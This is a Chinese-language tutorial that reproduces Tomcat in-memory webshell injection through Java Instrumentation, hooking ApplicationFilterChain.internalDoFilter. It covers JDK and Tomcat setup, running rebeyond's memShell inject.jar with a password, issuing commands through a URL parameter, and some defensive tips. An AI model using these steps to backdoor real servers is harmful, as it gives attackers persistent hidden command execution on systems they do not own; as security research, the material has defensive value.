Tomcat进程注入技术复现教程

技术原理概述

Tomcat进程注入技术基于Java SE5引入的Java Instrumentation功能，该功能允许使用独立于应用程序之外的代理程序来监测和协助JVM运行时的状态，包括替换和修改类定义等操作。本教程将详细介绍如何利用GitHub上rebeyond的memShell工程实现Tomcat进程注入。

技术关键点

目标实现

• 访问Web服务器上的任意URL（无论是否存在）
• 无论请求的是静态资源、jsp文件、原生servlet还是struts action
• 只要请求传递给Tomcat，就能响应我们的指令

关键类选择

选择org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法作为注入点，原因如下：

1. 位于HTTP请求调用栈的上层
2. 不与具体URL耦合
3. 能接受客户端request中的数据

方法分析

internalDoFilter方法原型：

private void internalDoFilter(ServletRequest request, ServletResponse response)
    throws IOException, ServletException {}

该方法特点：

• 包含ServletRequest和ServletResponse参数，封装了用户请求的request和response
• 是自定义filter的入口点
• 包含安全相关的处理逻辑

复现环境搭建

1. Java环境搭建

步骤：

1. 从Oracle官网下载Linux版JDK
2. 解压到/usr/local目录
3. 配置环境变量：

   vi /etc/profile
   

   添加以下内容：

   export JAVA_HOME=/usr/local/jdk1.8.0_261
   export JRE_HOME=${JAVA_HOME}/jre
   export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
   export PATH=.:${JAVA_HOME}/bin:$PATH
   

4. 使配置生效：

   source /etc/profile
   

5. 验证安装：

   java -version
   

2. Tomcat安装配置

步骤：

1. 从官网下载Tomcat 9
2. 解压到/usr/local目录并重命名：

   tar zxvf apache-tomcat-9.0.38
   sudo mv apache-tomcat-9.0.38 tomcat9
   

3. 配置Tomcat以非root用户运行：

   cd /usr/local/tomcat9/bin
   tar zxvf commons-daemon-native.tar.gz
   cd commons-daemon-1.2.2-native-src/unix/
   ./configure
   make
   cp jsvc ../..
   

4. 创建专用用户：

   sudo adduser tomcat
   

5. 设置权限：

   sudo chown -R tomcat:tomcat /usr/local/tomcat9
   

6. 启动Tomcat：

   su tomcat
   ./daemon.sh start
   

7. 验证安装：访问http://127.0.0.1:8080

内存注入实施

使用memShell工程

步骤：

1. 将memShell工程文件上传到Tomcat服务器
2. 执行注入命令：

   java -jar inject.jar pppd
   

   (其中pppd为自定义密码)

验证注入

访问任意URL并附加参数：

http://[target]/anyurl?pass_the_word=pppd

可用命令示例：

• whoami - 获取当前用户名
• 其他功能参考返回的帮助信息

技术扩展

1. 该技术不仅限于Tomcat，理论上适用于：

   • JBOSS
   • WebLogic
   • 其他Java Web容器

2. 差异点主要在于"定位关键类"的步骤

3. 可通过修改源代码实现更多功能

安全建议

1. 定期更新Java和Tomcat版本
2. 监控JVM中加载的代理程序
3. 限制对JMX端口的访问
4. 使用安全管理器限制敏感操作

参考资源

1. 利用"进程注入"实现无文件复活WebShell
2. Ubuntu下配置Tomcat以指定(非root)身份运行
3. GitHub上的memShell工程

后记

本教程详细介绍了Tomcat进程注入技术的原理和实现方法，重点在于理解Java Instrumentation机制和Tomcat处理请求的流程。该技术展示了Java Web应用潜在的安全风险，安全人员应充分了解此类技术以便更好地防御。